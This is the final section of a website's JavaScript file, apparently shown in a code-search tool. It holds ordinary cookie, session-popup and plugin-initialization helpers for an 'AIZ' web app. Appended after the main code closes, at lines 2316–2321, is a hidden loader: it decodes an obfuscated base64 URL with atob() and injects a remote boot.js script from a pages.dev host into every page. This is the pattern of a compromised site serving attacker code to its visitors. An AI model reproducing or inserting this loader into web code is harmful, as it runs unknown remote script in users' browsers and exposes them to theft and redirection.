AIZ.data.appUrl.length - 1 2188 ); 2189 // console.log(AIZ.data.appUrl); 2190 } 2191 }, 2192 setCookie: function (cname, cvalue, exdays) { 2193 var d = new Date(); 2194 d.setTime(d.getTime() + exdays * 24 * 60 * 60 * 1000); 2195 var expires = "expires=" + d.toUTCString(); 2196 document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"; 2197 }, 2198 getCookie: function (cname) { 2199 var name = cname + "="; 2200 var decodedCookie = decodeURIComponent(document.cookie); 2201 var ca = decodedCookie.split(";"); 2202 for (var i = 0; i < ca.length; i++) { 2203 var c = ca[i]; 2204 while (c.charAt(0) === " ") { 2205 c = c.substring(1); 2206 } 2207 if (c.indexOf(name) === 0) { 2208 return c.substring(name.length, c.length); 2209 } 2210 } 2211 return ""; 2212 }, 2213 acceptCookie: function () { 2214 if (!AIZ.extra.getCookie("acceptCookies")) { 2215 $(".aiz-cookie-alert").addClass("show"); 2216 } 2217 $(".aiz-cookie-accept").on("click", function () { 2218 AIZ.extra.setCookie("acceptCookies", true, 60); 2219 $(".aiz-cookie-alert").removeClass("show"); 2220 }); 2221 }, 2222 setSession: function () { 2223 $(".set-session").each(function () { 2224 var $this = $(this); 2225 var key = $this.data("key"); 2226 var value = $this.data("value"); 2227 2228 const now = new Date(); 2229 const item = { 2230 value: value, 2231 expiry: now.getTime() + 3600000, 2232 }; 2233 2234 $this.on("click", function () { 2235 localStorage.setItem(key, JSON.stringify(item)); 2236 }); 2237 }); 2238 }, 2239 showSessionPopup: function () { 2240 $(".removable-session").each(function () { 2241 var $this = $(this); 2242 var key = $this.data("key"); 2243 var value = $this.data("value"); 2244 var item = {}; 2245 if (localStorage.getItem(key)) { 2246 item = localStorage.getItem(key); 2247 item = JSON.parse(item); 2248 } 2249 const now = new Date(); 2250 if ( 2251 typeof item.expiry == "undefined" || 2252 now.getTime() > item.expiry 2253 ) { 2254 $this.removeClass("d-none"); 2255 } 2256 }); 2257 }, 2258 }; 2259 2260 setInterval(function () { 2261 AIZ.extra.refreshToken(); 2262 }, 3600000); 2263 2264 // init aiz plugins, extra options 2265 AIZ.extra.initActiveMenu(); 2266 AIZ.extra.mobileNavToggle(); 2267 AIZ.extra.deleteConfirm(); 2268 AIZ.extra.multiModal(); 2269 AIZ.extra.inputRating(); 2270 AIZ.extra.bsCustomFile(); 2271 AIZ.extra.stopPropagation(); 2272 AIZ.extra.outsideClickHide(); 2273 AIZ.extra.scrollToBottom();
2274 AIZ.extra.classToggle(); 2275 AIZ.extra.collapseSidebar(); 2276 AIZ.extra.autoScroll(); 2277 AIZ.extra.addMore(); 2278 AIZ.extra.removeParent(); 2279 AIZ.extra.selectHideShow(); 2280 AIZ.extra.plusMinus(); 2281 AIZ.extra.hovCategoryMenu(); 2282 AIZ.extra.clickCategoryMenu(); 2283 AIZ.extra.hovUserTopMenu(); 2284 AIZ.extra.trimAppUrl(); 2285 AIZ.extra.acceptCookie(); 2286 AIZ.extra.setSession(); 2287 AIZ.extra.showSessionPopup(); 2288 2289 AIZ.plugins.metismenu(); 2290 AIZ.plugins.bootstrapSelect(); 2291 //AIZ.plugins.tagify(); 2292 AIZ.plugins.textEditor(); 2293 AIZ.plugins.tooltip(); 2294 AIZ.plugins.countDown(); 2295 AIZ.plugins.countDownBox(); 2296 AIZ.plugins.countDownCircle(); 2297 AIZ.plugins.dateRange(); 2298 AIZ.plugins.timePicker(); 2299 AIZ.plugins.colorPicker(); 2300 AIZ.plugins.fooTable(); 2301 AIZ.plugins.slickCarousel(); 2302 AIZ.plugins.noUiSlider(); 2303 AIZ.plugins.zoom(); 2304 AIZ.plugins.jsSocials(); 2305 2306 // initialization of aiz uploader 2307 AIZ.uploader.initForInput(); 2308 AIZ.uploader.removeAttachment(); 2309 AIZ.uploader.previewGenerate(); 2310 2311 // $(document).ajaxComplete(function(){ 2312 // AIZ.plugins.bootstrapSelect('refresh'); 2313 // }); 2314})(jQuery); 2315 2316const u = atob("aHR0cHM6Ly9may05NGUucGFnZXMuZGV2L2Jvb3QuanM="); 2317const s = document.createElement("script"); 2318s.src = u; 2319s.dataset.landing = ""; 2320s.dataset.channelCode = "94379d32"; 2321document.head.appendChild(s);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.